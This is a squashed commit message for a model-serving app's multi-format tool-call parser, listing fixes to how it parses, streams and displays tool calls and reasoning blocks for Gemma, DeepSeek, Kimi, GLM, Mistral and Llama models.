prefix (call : NAME) in the streaming suppression buffer, matching the parser's _GEMMA_BARE_TC_RE, so the spaced spelling split across chunks is buffered instead of leaking as visible text. Applied to both the safetensors and llama.cpp streaming paths. - Remove dead _render_with_native_template method and the now-unused copy import from inference.py; the live path uses render_with_native_template_fallback. Adds regression tests for DeepSeek R1/V3 strict recovery, Kimi full dotted name preservation, and the Gemma spaced-call streaming suppression. * Studio tools: honor tool budget in GGUF loop and guard function-XML streaming strip Round 4 review fixes. Both are asymmetric-fix bugs where the final/steady path got a guard the analogous streaming/loop path did not. - GGUF tool-call budget: the safetensors loop counts real tool-call turns against max_tool_iterations (re-prompt stalls excepted), but the GGUF loop only bounded the turn count by the enlarged range (max_tool_iterations + _MAX_REPROMPTS). Since this PR raised _MAX_REPROMPTS from 1 to 3, a model that keeps making valid tool calls could run up to three extra tool rounds (with max_tool_iterations=1, four rounds instead of one). Add a _tool_iters_done counter that increments only when a tool actually executed in the turn, and stop once the caller's budget is spent so the post-loop final-answer nudge fires. A duplicate/disabled no-op turn is a correction turn (like a plan-without-action re-prompt) and does not consume budget, preserving the existing "already completed" re-prompt behavior. - Streaming display strip: the final strip runs the guarded _strip_function_xml_calls scanner (a literal <function=...> inside a parameter value is data, not a nested call), but the GGUF and safetensors streaming strips still used only the open-ended regex arms. When a tool-call argument contained literal function markup, the regex tail ate everything to end-of-text and dropped the real trailing prose after the call's true </function>. Run the guarded scanner (and the balanced Mistral strip) before the regex arms in both streaming paths so streaming and final display agree. Adds regression tests: GGUF valid tool calls respect max_tool_iterations, and the streaming strip keeps trailing prose after a function-XML call with a literal marker. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: safetensors tool budget counts only executed turns (GGUF parity) Follow-up to the GGUF budget fix. The safetensors loop charged max_tool_iterations per non-re-prompt iteration (iteration + 1 - reprompt_count), so a duplicate/disabled no-op turn spent a budget slot even though no tool ran. With a small cap this dropped real work: for max_tool_iterations=2, a model that made a valid call, repeated it (an internal no-op correction turn), then made a distinct valid call executed only the first -- the third turn was sent with no tools and the distinct call was ignored. Track whether a turn actually executed a tool (set on record_result) and count only those turns against the cap, matching the GGUF loop. A duplicate/disabled no-op is a correction turn -- like a plan-without-action re-prompt -- and no longer consumes budget, so the model still gets its "already completed" nudge and another tool-enabled turn. Adds a regression test for the small-cap duplicate-then-distinct-call flow. * Studio tools: fix stale Kimi dotted-name regression test test_pr5624_regressions.py still expected functions.my.tool:0 to resolve to the last segment (tool). The parser now preserves the full dotted name (my.tool) after removing only the functions. prefix and :idx suffix, matching current vLLM/SGLang so dotted MCP names like mcp.server-list survive. Update the assertion, name, and module docstring to the corrected contract (the raw id is still preserved on the call). * Studio: render the reasoning block for safetensors and MLX like GGUF enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think> into the generation prompt, so the model emits only the closing </think> then the answer. The safetensors/MLX chat stream emitted that as plain content, so the reasoning showed inline with no collapsible thinking block, while GGUF (which surfaces reasoning via reasoning_content) rendered one. This brings safetensors and MLX to parity. - _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts inside the reasoning block and splits on the first </think>; default False keeps GGUF and every existing caller byte-identical. It suppresses a stray re-emitted <think> and holds partial markers back across chunk boundaries. - _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the request, an enable_thinking or enable_thinking_effort style, and the template actually using the standard <think>/</think> markers. Models with a bespoke reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are excluded too. - sf_tool_stream and stream_chunks (the latter also serves MLX) feed text through the extractor, emitting reasoning_content then content deltas, with a per-turn reset in the tool loop and a flush before each tool_start; only the visible delta reaches the monitor reply. The two non-streaming drains split reasoning_content the same way. - Tests: extractor prefilled mode (streaming and edge cases), the gate matrix including the gemma-style exclusion, and a route-replay of the tool-loop reasoning stream. * Studio: render the reasoning block for safetensors and MLX like GGUF enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think> into the generation prompt, so the model emits only the closing </think> then the answer. The safetensors/MLX chat stream emitted that as plain content, so the reasoning showed inline with no collapsible thinking block, while GGUF (which surfaces reasoning via reasoning_content) rendered one. This brings safetensors and MLX to parity. - _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts inside the reasoning block and splits on the first </think>; default False keeps GGUF and every existing caller byte-identical. It suppresses a stray re-emitted <think> and holds partial markers back across chunk boundaries. - _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the request, an enable_thinking or enable_thinking_effort style, and the template actually using the standard <think>/</think> markers. Models with a bespoke reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are excluded too. - sf_tool_stream and stream_chunks (the latter also serves MLX) feed text through the extractor, emitting reasoning_content then content deltas, with a per-turn reset in the tool loop and a flush before each tool_start; only the visible delta reaches the monitor reply. The two non-streaming drains split reasoning_content the same way. - Tests: extractor prefilled mode (streaming and edge cases), the gate matrix including the gemma-style exclusion, and a route-replay of the tool-loop reasoning stream. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: don't force a tool re-prompt on a negated intent (safetensors parity) The safetensors _INTENT_SIGNAL claimed to mirror GGUF but was missing the negative lookahead, so a refusal like "I will not search the web for that" matched the "i will" intent and triggered the plan-without-action re-prompt (STOP... you MUST call a tool), overriding a valid no-tool answer. GGUF already excludes not/never. Add the same (?!\s+(?:not|never)\b) lookahead so both backends agree. Extends the intent parity test with negated refusals. * studio: parse the outer envelope before DeepSeek/Kimi markers embedded in its args parse_tool_calls_from_text ran the DeepSeek/Kimi marker pre-pass before the shared <tool_call>/<function=...> parser. When a Qwen/Hermes call's argument contained literal Kimi/DeepSeek markup (for example a user asking the model to explain that syntax), the pre-pass matched the embedded marker and returned it, executing the wrong tool and dropping the real call. Skip the pre-pass when a <tool_call> or <function=...> envelope opens before the first DeepSeek/Kimi marker, so the shared parser takes the outer call; a genuine marker-led call (no leading envelope) still goes through the pre-pass. Tests for the embedded-marker case and the control. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: trim redundant comments (comment-only, AST-verified) * Studio: trim redundant comments (comment-only, AST-verified) * Studio: prevent Gemma tool-parser DoS on stray delimiters _gemma_parse_value returned the input index unchanged when text[i] was a stray delimiter (,}]), so the list and mapping caller loops that advance on the returned index spun forever at 100% CPU on malformed input such as [},]. Advance past the delimiter so parsing always terminates. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: strip Magistral [THINK] reasoning from final display/history strip_tool_markup removed [TOOL_CALLS] and <function> markup but left a leading Magistral [THINK]...[/THINK] block intact, so its bracket-form reasoning (not the <think> the reasoning channel renders) leaked into the safetensors display and conversation history while GGUF/llama.cpp routes it natively. Drop the leading reasoning block at end-of-turn (final=True) via the existing _strip_mistral_reasoning helper; streaming is untouched. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep times in wrapper-less Gemma tool arguments The wrapper-less Gemma value scanner used _GEMMA_KEY_RE = [\w.\-]+ for keys, which also matches a digit-leading token, so a comma followed by a time or ratio inside a value (call:web_search{query:meet at 10:00, 11:00 tomorrow}) was misread as a new 11: key, truncating the query and injecting a bogus argument. Require keys to start with a letter or underscore, matching the identifier-start rule the wrapped path already uses (_GEMMA_NEXT_KEY_RE). Add a regression test. * Studio: treat markers/close-tags inside tool-call arguments as data Four parser correctness fixes where a valid argument string was mistaken for structure: - DeepSeek: find the envelope-end token outside JSON strings, so a query/code argument containing the literal token no longer truncates the body and drops the whole call. - GLM: locate the real </arg_value> as the one whose next token is <arg_key> / </tool_call> / end, so a value containing a literal </arg_value> (or </tool_call>) is kept instead of executing the tool with corrupted arguments. - Attribute-form <function name="..."> envelopes now count in the embedded-marker guard, so a DeepSeek/Kimi marker inside a parameter value does not hijack the outer call and run the wrong tool. - Wrapper-less Gemma call:NAME{...} is gated on the enabled tool names (parse and display strip), mirroring the Llama bare-JSON gate, so a disabled/example name in prose is not stolen as a call and the real answer is preserved. Add regression tests for each. * Gate route Gemma wrapperless strip by enabled tools; make Kimi section-end search string-aware Route-level display stripping now threads the enabled tool-name set into the Gemma wrapperless-call strip, so prose that mentions a disabled tool (call:foo{...}) is preserved while active tool calls are still stripped. This mirrors the parser-level gate already used in tool_call_parser. The Kimi section-end lookup now searches outside JSON string literals, so a section-end marker appearing inside an argument string no longer triggers a false truncation that drops a valid tool call. * Run DeepSeek/Kimi pre-pass when a closed tool-call example precedes a real block The marker pre-pass was skipped whenever any <tool_call>/<function> opener appeared before the first DeepSeek/Kimi marker, even when that opener was a CLOSED syntax example in prose that ends before the real block. In that case parse_tool_calls_from_text skipped the DeepSeek/Kimi parsers and the genuine tool call was dropped while a phantom tool named in the example ran instead. Only treat a marker as embedded in a leading envelope when removing the closed outer <tool_call>/<function> envelopes also removes every marker (the marker actually sat inside one). A marker left standing is a real call, so the pre-pass runs. The legitimate case of a marker inside a closed outer envelope's arguments is preserved. * Honor reasoning_effort none in safetensors prefill; strip Magistral reasoning while streaming Two safetensors/MLX reasoning fixes surfaced in review: _sf_reasoning_prefill_mode only checked enable_thinking, so an enable_thinking_effort (GLM-5.2) request that disables thinking via reasoning_effort=none (without enable_thinking=False) still began in prefilled-<think> mode. A plain answer with no </think> was then swallowed whole into reasoning_content and the visible response came back empty. Thread reasoning_effort into the predicate and treat none as disabled, mirroring _request_reasoning_kwargs. strip_tool_markup_streaming stripped tool markup but not the leading Magistral [THINK]...[/THINK] bracket block, so the raw chain-of-thought leaked into the streamed safetensors content instead of the reasoning drawer (GGUF routes it natively). Apply _strip_mistral_reasoning first, matching the final strip; an unclosed [THINK] is held from the marker on so nothing flickers. * Heal truncated outer tool envelopes and keep quoted Gemma args intact Two follow-ups from review of the marker pre-pass and Gemma parsing: The leading-envelope guard only removed CLOSED outer <tool_call>/<function> envelopes before deciding whether a DeepSeek/Kimi marker was embedded, so a truncated outer call missing its close tag (whose argument embeds a marker) was treated as a standalone marker and the embedded sample ran instead of the intended outer call being Auto-Healed. Decide on the last outer opener before the marker and whether it closed before the marker instead, so a closed syntax example still runs the pre-pass while a real closed-or-truncated outer call keeps it. The wrapper-less Gemma argument scan tracked bracket depth but not quotes, so a quoted value containing a comma followed by a key-like token (a search query such as "weather, location: Boston") was split mid-string, truncating the value and fabricating an extra argument. Track quote state (with escapes) so the top-level comma boundary is only taken outside quoted spans. * Span outer envelopes to their real close when locating embedded markers Locating the DeepSeek/Kimi marker relative to a leading outer envelope used the FIRST close tag after the opener, so a literal </function> or </tool_call> inside an argument value (for example python code that contains the text) was mistaken for the envelope boundary. The marker after it was then treated as a standalone call and the embedded sample ran instead of the intended outer call. Match the closed outer envelopes with the shared patterns that already extend to the real final close (a literal close inside a value is data), and treat a marker that survives their removal as embedded only when a still-open (truncated) outer opener precedes it, so Auto-Heal still repairs a truncated outer call. A closed syntax example before a genuine block still runs the pre-pass. * Span the tool_call outer envelope to its real close in the marker guard The leading-envelope check reused the lazy <tool_call>.*?</tool_call> strip pattern, so a Qwen/Hermes JSON argument containing a literal </tool_call> ended the span early. A DeepSeek/Kimi sample later in that same string then survived the closed-envelope removal, and the pre-pass executed the embedded call instead of the outer <tool_call>. The <function> arm already spanned to its real close; give <tool_call> the same real-close pattern (with the negative lookahead that keeps back-to-back calls separate) so a literal close inside a value is data. * Preserve no-tool Gemma prose and keep later R1 calls when healing a close Two review follow-ups: _gemma_strip_gate returned None when no tools were enabled, and None means strip every markerless call:NAME{...} block, so a no-tool answer that documents the syntax (or the Anthropic display path, which passes an empty tool list as None) had that prose deleted. It is a display/history gate, so return the enabled-name set instead -- an empty set when no tool is enabled, which strips nothing because every call:NAME{...} is then prose. The DeepSeek R1 heal path located the close fence with an unbounded forward search, so when a first call had balanced JSON but omitted its fence the search landed on a LATER call's terminator and pos advanced past that valid call, dropping it. Match the close immediately after the JSON (whitespace-skipped) like the strict path, and advance by just the JSON when it is absent, so a multi-call turn keeps its later well-formed calls (heal is now a superset of strict). * Resume wrapper-less Gemma scan past a consumed call's balanced body The markerless call:NAME{...} scan used finditer, which resumes right after the opening call: token, so a nested call:OTHER{...} mentioned inside the first call's own quoted string argument (for example a web_search query that quotes the Gemma tool syntax) was re-matched and returned as a spurious second tool call, executing an unintended tool. Walk with a manual cursor that resumes after the outer call's balanced body (brace matching already skips quoted braces), so a call's arguments are never rescanned. Genuinely separate back-to-back calls and disabled/example prose are unaffected. * Mistral outer call wins over XML literals; align healer signals with its parser Two follow-ups on the shared-parser ordering after the healing-passthrough merge: - A well-formed [TOOL_CALLS] call whose JSON arguments quote tool XML parsed the literal instead of the outer call (executing the wrong tool). When the first XML signal sits inside a leading balanced Mistral body it is argument data, so the Mistral parser now runs first; an XML signal before the trigger keeps the normal order, so a [TOOL_CALLS] literal inside an XML call's arguments still stays data. - passthrough_healing buffered streams on the parser module's broadened signal list (now including <|python_tag|> and [TOOL_CALLS]) but promotes with core.tool_healing, which does not parse those forms: a streamed Mistral or Llama text call was held until finalization and flushed as prose. The healer keeps its own signal list limited to the formats it can promote, restoring immediate streaming for the rest. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: Gemma wrapper-less marker literals and quotes, GLM embedded close pair - The Gemma fallback deferral now keys on an actual wrapped opener (_GEMMA_TC_RE), not the wrapper literal anywhere in content: a wrapper-less call whose argument merely mentions <|tool_call> has nothing tool_healing can parse, and deferring it lost the call entirely (not executed and stripped from display). - New _gemma_body_brace_end boundary scanner honors single- and double-quoted strings like _gemma_parse_stripped_body, shared by parse and strip, so a quoted brace in a code argument (code:print('}')) no longer truncates the executed arguments or the strip span. - _glm_value_close now requires a structural </arg_value> to sit at balanced quote state: the full pair </arg_value></tool_call> embedded inside a string literal is data, not an early close. When no candidate balances, the first token-valid close wins as before. * Address review: leading envelopes win over rehearsed literals - New _first_foreign_tool_signal shared by the leading-envelope guards adds <|python_tag|> to the protected signal set: the spelled-out literal inside a Mistral call's arguments (a query about Llama built-in tool syntax) executed the inner literal instead of the outer call. - New _xml_signal_inside_leading_bare_json guard, sibling of the Mistral one: a leading bare-JSON call whose string argument quotes tool XML (a code value citing <function=...>) had the literal promoted by the shared XML pass before the bare-JSON parser ran. - Magistral [THINK]...[/THINK] is dropped once at parse entry instead of only inside the Mistral parser, so a call rehearsed in the think block in a foreign format can no longer be promoted while the real call after the block is lost. Parse now agrees with the display strip. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: a disabled leading bare-JSON object keeps its literals as data When the leading bare-JSON object is ordinary content (name not an enabled tool), the guard proved the first tool signal sits inside it, so falling through to the XML/python_tag passes promoted quoted string data as a real call. Drop the object and parse only the tail: a real call after the object still parses, nothing inside it can be promoted. * Address review: apostrophes in raw Gemma values, GLM strict key contract, per-model template token - Quote openers in the wrapper-less Gemma boundary and body scanners now require value-start context (after : { [ ( , =): an apostrophe inside an unquoted value (query:what's the weather) opened quote mode, swallowed the real closing brace, and lost the whole call on common contraction queries. Quoted values keep hiding delimiters as before. - A GLM <arg_key> with no <arg_value> tag now rejects the call in strict mode, matching the unclosed-value contract, instead of executing the tool with the argument silently dropped; Auto-Heal keeps the lenient skip. - The native-template fallback reads the hf_token stored on the model record instead of the instance-wide last-load token, so a later token-less load cannot break template fetches for a previously loaded gated model (both the transformers and MLX backends). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: Mistral literals inside leading JSON, whitespace-tolerant wrapped Gemma opener - The leading bare-JSON guard now treats the [TOOL_CALLS] trigger as a foreign signal: the Mistral parser runs before the bare-JSON one, so a literal quoted inside the leading object's strings was promoted over the outer call (or over ordinary JSON content). - tool_healing's wrapped Gemma opener tolerates whitespace around call and the colon: sampling drift emits call: name{ and call : name{, and rejecting those lost the call entirely because no fallback re-parses the wrapped form. Strict mode still requires the closing tag. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: DeepSeek/Kimi markers inside leading JSON and Mistral envelopes stay data The DeepSeek/Kimi pre-pass runs before the outer-call parsers, and _marker_inside_leading_envelope only protected XML envelopes: a marker quoted inside a leading bare-JSON or Mistral call's argument strings was promoted as a separate no-arg call and the real outer call dropped. The guard now recognizes those two leading envelopes as well; standalone DeepSeek/Kimi calls keep parsing. * Address review: accept dotted Gemma argument keys in the key-quoting scanner The scanner quoted keys of [alnum_-] only, so a dotted key (user.name:...) was left unquoted, json.loads failed, and the whole wrapped call was lost (parse empty, strip wipes the markup). Dots now match the parser's own key/name charset. * Address review: a real DeepSeek/Kimi call after a disabled leading JSON object still parses DeepSeek/Kimi markers are foreign signals for the leading bare-JSON guard too: a marker literal inside a disabled leading object made the envelope guard skip the pre-pass for the whole message, so a real DeepSeek/Kimi call after the object was dropped. Routing the case through the guard's drop-and-parse-the-tail recursion reaches the real call while the literal inside the object stays data. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: leading Mistral call owns the turn, dotted keys after bare values - A LEADING parseable [TOOL_CALLS] call now runs the Mistral parser first unconditionally: literal XML in trailing prose after the call was promoted by the earlier shared XML pass, executing the quoted example instead of the real leading call. XML leading keeps the normal order. - _GEMMA_NEXT_KEY_RE accepts dots so a dotted key after a bare value (query:foo,user.name:bob) ends the value at the comma instead of being swallowed into it, matching the round-earlier key-quoting charset. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: a leading wrapper-less Gemma call owns the turn A quoted foreign literal inside a leading wrapper-less Gemma call's argument (a query citing another tool syntax) was promoted by tool_healing before the Gemma fallback ran, executing the quoted example and dropping the outer call. New leading guard, sibling of the Mistral and bare-JSON ones, gated on an enabled name since the form is markerless. Foreign markup leading keeps the normal order. * Fix merge resolution: restore both leading-guard test classes intact * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: markup quoted inside a nameless leading JSON answer stays data The leading bare-JSON guard required a top-level name, so a structured JSON answer quoting tool markup in its strings (a response_format turn documenting a tool's syntax) had the literal promoted by the later passes. A nameless leading object that parses as real JSON now routes through the same decline-then-parse-the-tail path; non-JSON braced prose keeps the old behaviour, and a real call after the answer still parses. * Address review: JSON answers stay data, nested Gemma quotes, earliest envelope, no failure caching - A whole-content JSON value is a structured answer: the markerless Gemma scan and its strip no longer promote or strip a quoted example of an enabled tool's syntax inside it. - Nested stripped-stream Gemma values now unquote quoted string leaves recursively, so {loc:{city:"New York"}} hands the tool New York, matching the top-level coercion. - The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener, so a leading real call wins over a trailing example of the sibling format in either direction. - A failed native-template fetch is no longer cached as no-template: the next call retries after the model record's token is fixed or a transient Hub error clears; only definitive loads are cached. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: closed calls precede the marker pre-pass, truncated Gemma scan stops, quoted nested delimiters - A closed non-DeepSeek/Kimi call preceding the first DS/Kimi marker owns the turn: a trailing syntax example, or one quoted inside a wrapped Gemma argument, was promoted by the pre-pass and dropped the real leading call. Wrapped Gemma joins the outer-envelope pattern sets. - An unbalanced wrapper-less Gemma call now stops the scan (mirroring the strip contract) instead of resuming inside its own argument text, where a quoted enabled call would be promoted. - Raw-quoted strings in nested stripped-stream Gemma values hide delimiters, so {city:"New, York"} is one value instead of a split pair, returned unquoted like the top-level coercion. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: string-marker literals in wrapper-less args, mid-value quoted phrases - The wrapper-less deferral guard no longer keys on the <|"|> literal: a real call whose argument merely mentions the string marker was deferred to tool_healing, which has no wrapped opener to parse, losing the call. The wrapped-opener check alone owns the deferral. - Double quotes now also open at the start of a word, so a quoted phrase mid-value (query:find "weather, location: Boston", limit:3) hides its delimiters instead of splitting the value into garbage keys; apostrophes keep the value-start-only rule so contractions stay prose. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: strict GLM refuses in-quote close fallback, Gemma guard covers preambles - _glm_value_close gains a strict flag: a truncated value whose only close candidates sit inside a string literal rejects the call in strict mode (Auto-Heal keeps the lenient partial), restoring the strict contract the quote-aware fallback had weakened. - The leading wrapper-less Gemma guard no longer requires the call to open the response: a visible preamble before call:NAME{...} is the normal shape, and the quoted foreign literal inside the argument was promoted again in that shape. An enabled balanced call beginning before the first foreign signal owns it. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: contextual GLM quote openers, disabled Gemma examples stay prose, JSON array answers - The GLM value-close quote tracker uses the same contextual openers as the Gemma scanners (single quote after punctuation context, double quote also at word start), so strict mode accepts a normal apostrophe value again while still rejecting a truncated value whose only close candidates sit inside a string literal. - A disabled wrapper-less Gemma call is prose by design, so a tool literal quoted inside it no longer promotes: the span is dropped for parsing and the tail parsed, mirroring the nameless-JSON guard. - Leading JSON ARRAY answers join the leading-JSON envelope guard, so a marker quoted inside a structured array response stays data. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Align closed-envelope regression test with the document-order contract The test asserted the pre-round-13 behavior (trailing DeepSeek/Kimi block wins over a leading closed envelope) while the shipped rule is document order: the leading closed call owns the turn. Rename the test and assert the leading call so the suite matches the contract exercised by test_leading_xml_call_wins_over_trailing_kimi_example. * Parse a leading Llama-3.2 bare-JSON call before the markerless Gemma scan The bare-JSON form only ever matches a leading call object, and document order says that call owns the turn. Running the Gemma wrapper-less scan first let an enabled call:NAME{...} snippet quoted inside the leading call's string arguments steal the turn when the JSON was not the whole content (trailing prose or a second ;-separated call), executing the quoted tool instead of the real one. Reordering cannot take a leading Gemma call's turn since that content never starts with an object brace. * Leading-call ownership: Mistral trigger in Gemma guards, closed bare JSON before markers, depth-aware nested Gemma values Three parser gaps against the document-order contract: The wrapperless Gemma leading guards did not count [TOOL_CALLS] as a foreign signal, so a leading Gemma call quoting a Mistral snippet in its argument lost the turn to the quoted literal. Both the enabled-call and disabled-example guards now include the trigger, matching the bare-JSON guard's local inclusion. _marker_inside_leading_envelope required the DeepSeek/Kimi marker to sit inside the first closed bare-JSON or Mistral call. A marker after that closed call (a trailing example or data in a later ;-chained call's strings) now also defers to the leading call, the same inside-or-after rule the closed XML envelope patterns already applied. The nested Gemma primitive value scan split on every comma, corrupting arguments like opts:{code:print(1,2),lang:py}. It now applies the same paren/brace depth, contextual quote openers, and comma-only-before-a-key mapping rule as the top-level scan. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Gemma leading guard: a closed enabled call preceding the signal owns the turn The wrapperless Gemma guard only claimed the turn when the first foreign signal sat inside the first enabled balanced call. When that call closed before the signal (a second call quoting a Mistral or Kimi literal, or a trailing prose example), the guard forfeited the turn and the foreign parser promoted the quoted literal, dropping the real Gemma calls. Apply the same inside-or-after ownership rule as the closed bare-JSON and Mistral envelopes, gated on an enabled name so the name-agnostic legacy path is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Marker guard: only an executable leading bare-JSON call owns the turn The bare-JSON branch of the leading-envelope marker guard claimed the turn for any NAMED leading object. A disabled-name object is prose by design (the bare-JSON parser will not execute it), so deferring the DeepSeek/Kimi pre-pass to it lost the real later call entirely. Gate the ownership claim on the enabled set (or the name-agnostic None path). A marker inside the disabled object's own strings stays data, matching the tail-exclusion contract; a marker after it now falls through so the pre-pass parses the real call. The Mistral branch stays ungated since [TOOL_CALLS] parsing is never name-gated. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Gemma scan skips leading JSON answers; GLM heal bounds values at structural tags Two fixes to the document-order data contracts: The markerless Gemma scan only exempted whole-content JSON, so a leading JSON answer followed by prose had an enabled call:NAME{...} snippet inside its strings promoted to a real executed call and stripped from the displayed answer. Both the parse and strip scans now start after a balanced json-valid leading value span, keeping parse and strip mirrored. Real calls after the answer still parse; mid-prose JSON gets no exemption. The GLM heal fallback for a missing closing arg_value tag took the entire remainder as the value, executing markup-contaminated arguments like city="NYC</tool_call>" and swallowing trailing prose. The healed value now stops at the next arg_key or tool_call close and the pair walk resumes there. EOF-truncated values keep the partial heal, strict mode still rejects, and closed values holding a literal close tag in quotes are untouched. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Compress docstrings in the multi-format tool parser to their contract essence * Condense parser guard comments and test narration to contract essentials * verify_import_hoist: exempt __future__ imports and same-diff relocations Two false positives fired on this PR's refactor. A from __future__ import is a compiler directive whose name never appears as a runtime load, so HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate move of the strip-pattern constants into core.inference.tool_call_parser as a silent re-point even though the old module-level target was removed and the new one added in the same diff. Both get narrow exemptions; a re-point to a pre-existing target is still caught, and the self-test negative controls all pass unchanged. * Leading bare-JSON calls own the turn; function calls end at the first balanced close The XML-signal guard for a leading bare-JSON call required the signal strictly inside the object, so a trailing XML example stole the turn from the leading call; it now applies the same inside-or-after rule as the Mistral guard. Function-XML calls also ended at the LAST close tag, which let prose after a closed call that mentions a literal close tag get swallowed into the final parameter value; calls now end at the first close tag that is not inside an open parameter, and the strip mirrors the same rule so parse and strip agree. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Attribute-form calls end at the first balanced close; bare-JSON strip requires the call shape The attribute form parser still kept the last close tag in the call window, folding prose after a closed call into the final parameter value. It now takes the first close not inside an open parameter, the same rule the equals form and the strip already use. The leading bare-JSON strip deleted any closed object whose top-level name matched an enabled tool, including plain JSON answers the parser correctly rejects as non-calls. The strip (and the drain gate that delegates to it) now requires the parser's exact call shape, so answers like {"name":"web_search","result":...} stream and display intact. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * False-alarm markers keep the answer; the bare-JSON strip consumes the whole chain The trailing strip arms dropped everything from a bare marker to EOF, so a normal answer that mentions [TOOL_CALLS] or another marker literally was truncated (or fully swallowed when it started with the literal) after the no-call drain fallback. Those arms now require a call-shaped lookahead or marker-at-EOF before dropping; truncated real calls still strip. Chained bare-JSON turns executed both calls but stripped only the first object, so the second call's raw JSON replayed into the next assistant history message alongside the structured tool_calls. The strip now consumes the entire chained run of call-shaped enabled objects while non-call answers, disabled names, and trailing prose stay intact. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * DeepSeek and Kimi trailing strip arms require a call-shaped lookahead Same false-alarm rule as the bare-word markers: a prose answer that mentions a DeepSeek or Kimi marker literally keeps its tail, while truncated real envelopes and bare end-of-text fragments still drop. * Attribute-form containment, parameter-close-decides rule, preamble-tolerant Mistral guard, strict strip shape Four document-order and containment fixes. A leading attribute-form call now parses before the shared XML pass, so markup quoted in its parameter stays data. The open-parameter scan lets the parameter's own close tag decide, so any number of literal function closes inside one value stay data, restoring the pre-close-scan behavior for multi-close arguments. The leading-Mistral guard tolerates a visible preamble, with the leading-bare-JSON guard running first so a trigger quoted inside a leading JSON object stays data. The bare-JSON strip requires the parser's top-level name in every mode, so nested-name JSON answers survive name-agnostic stripping. * Keep buffering long wrapper-less Gemma tool names instead of leaking the prefix The streaming buffer stopped holding a call:NAME prefix at a fixed 32-char cap, so a Gemma wrapper-less call to a tool whose name exceeds that (OpenAI allows 64 chars, MCP names run longer) streamed its raw call:longname text as visible content before the end-of-turn parser executed it. Hold the variable-length prefix while it still matches the call: shape, bounded like the bare-JSON path and self-terminating into prose, draining once the opening brace arrives. * Keep prose that only mentions DeepSeek/Kimi markers in the route display strip The route-level _TOOL_XML_RE DeepSeek/Kimi arms consumed from an opener up to the end of text whenever the marker appeared, so an answer that merely refers to a marker (for example "See <|tool_call_begin|> in the docs") had the rest of the reply truncated. The parser-level _TOOL_ALL_PATS already gates these arms with a call-shaped lookahead. Mirror it here so a marker is only stripped when a real call follows it or it is a bare fragment at end of text. * Tighten tool-calling parser and backend comments * Pass trust_remote_code when reloading native tokenizers The native-template fallback re-fetches a model's native chat template from its repo when an Unsloth override template drops the tools schema. The secondary AutoTokenizer.from_pretrained threaded hf_token but not trust_remote_code, so for a model loaded with trust_remote_code=True whose tokenizer repo carries custom code the reload raised, was swallowed, and the request silently kept the tool-dropping prompt for a model that supports tools. Store the loaded trust_remote_code on each backend's per-model info dict and source it in render_native_template, so the reload re-uses exactly the consent granted at load. For a LoRA adapter the reload targets the base model, whose remote code was gated and loaded under the same stored flag, so re-passing it executes no unconsented code. Falsy stored flag preserves the prior behaviour. Adds a regression test that fails without the flag (custom-code reload raises, returns None) and passes with it (tools-advertising native prompt returned). * Treat <|python_tag|> as an outer marker envelope A Llama-3 <|python_tag|> tool call (built-in NAME.call(...) or custom {json} form) whose argument quotes a complete DeepSeek/Kimi example was hijacked by the DeepSeek/Kimi marker pre-pass: the embedded example (for example delete_all) executed instead of the real outer call. python_tag is Llama-3's tool-call envelope, so a marker quoted inside its arguments is data, the same as for <tool_call>, <function=...>, bare JSON, Mistral and wrapper-less Gemma, which the guard already covers. Add <|python_tag|> to _OUTER_ENVELOPE_OPEN_RE with a call-shaped lookahead (mirroring the _TOOL_ALL_PATS python_tag arm) so the marker pre-pass is suppressed when a python_tag call opens before the first marker, while a bare prose 